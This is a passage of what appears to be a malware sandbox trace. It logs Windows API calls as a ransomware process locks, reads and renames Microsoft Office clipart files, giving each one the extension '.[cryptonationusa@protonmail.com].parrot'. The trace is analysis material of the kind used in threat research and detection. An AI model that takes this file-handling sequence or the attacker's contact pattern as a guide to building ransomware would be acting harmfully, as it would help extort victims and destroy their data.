nNumberOfBytesToLockLow=0x710, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.694] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.694] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.695] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.696] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5f8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5f8, lpOverlapped=0x0) returned 1 [0130.696] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.696] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x710, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.696] CloseHandle (hObject=0x1b0) returned 1 [0130.696] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00334_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00334_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.697] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.697] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0130.697] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0130.700] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xdfa, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.700] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.700] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.701] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.701] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xce2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xce2, lpOverlapped=0x0) returned 1 [0130.701] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.702] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xdfa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.702] CloseHandle (hObject=0x1b0) returned 1 [0130.702] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00443_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00443_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.703] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0130.705] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x44a, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.705] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.705] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.706] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.706] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x332, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x332, lpOverlapped=0x0) returned 1 [0130.707] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.709] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x44a, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.709] CloseHandle (hObject=0x1b0) returned 1 [0130.710] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00513_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00513_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.712] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3a78, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.712] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.712] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.714] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.714] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3960, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3960, lpOverlapped=0x0) returned 1 [0130.715] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.715] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3a78, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.715] CloseHandle (hObject=0x1b0) returned 1 [0130.715] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00524_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00524_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.718] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x35fa, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.718] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.718] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.720] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.720] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x34e2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x34e2, lpOverlapped=0x0) returned 1 [0130.721] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.721] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x35fa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.721] CloseHandle (hObject=0x1b0) returned 1 [0130.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00526_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00526_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.726] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x17be, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.726] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.726] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.728] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.728] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16a6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16a6, lpOverlapped=0x0) returned 1 [0130.729] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.729] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x17be, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.729] CloseHandle (hObject=0x1b0) returned 1 [0130.729] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00527_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00527_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.732] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xf9e, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.732] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.732] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.734] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.734] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe86, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe86, lpOverlapped=0x0) returned 1 [0130.734] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.734] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf9e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.734] CloseHandle (hObject=0x1b0) returned 1 [0130.734] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00546_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00546_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.737] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6d4, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.737] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.737] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.739] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.739] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5bc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5bc, lpOverlapped=0x0) returned 1 [0130.739] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.739] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6d4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.739] CloseHandle (hObject=0x1b0) returned 1 [0130.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00601_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00601_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.742] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x690, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.742] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.742] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.743] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.743] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x578, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x578, lpOverlapped=0x0) returned 1 [0130.744] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.744] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x690, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.744] CloseHandle (hObject=0x1b0) returned 1 [0130.744] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00602_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00602_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.747] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3270, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.748] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.748] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.749] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.749] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3158, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3158, lpOverlapped=0x0) returned 1 [0130.750] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.750] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3270, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.750] CloseHandle (hObject=0x1b0) returned 1 [0130.751] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00612_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00612_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.753] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2aac, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.753] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.754] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.755] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.755] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2994, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2994, lpOverlapped=0x0) returned 1 [0130.756] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.756] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2aac, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.756] CloseHandle (hObject=0x1b0) returned 1 [0130.757] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00623_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00623_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.759] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x95c, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.759] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.759] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.761] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.761] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x844, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x844, lpOverlapped=0x0) returned 1 [0130.762] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.762] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x95c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.762] CloseHandle (hObject=0x1b0) returned 1 [0130.762] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00625_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00625_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.765] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x738, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.765] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.765] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.767] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.767] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x620, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x620, lpOverlapped=0x0) returned 1 [0130.767] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.768] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x738, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.768] CloseHandle (hObject=0x1b0) returned 1 [0130.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00636_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh00636_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0130.770] LockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2dfa, nNumberOfBytesToLockHigh=0x0) returned 1 [0130.770] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0130.770] ReadFile (in: hFile=0x1b0, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0130.772] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.772] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2ce2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2ce2, lpOverlapped=0x0) returned 1 [0130.775] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.775] UnlockFile (hFile=0x1b0, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2dfa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0130.776] CloseHandle (hObject=0x1b0) returned 1 [0130.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH00669_.WMF" (normalized: "c:\\program files\\microsoft 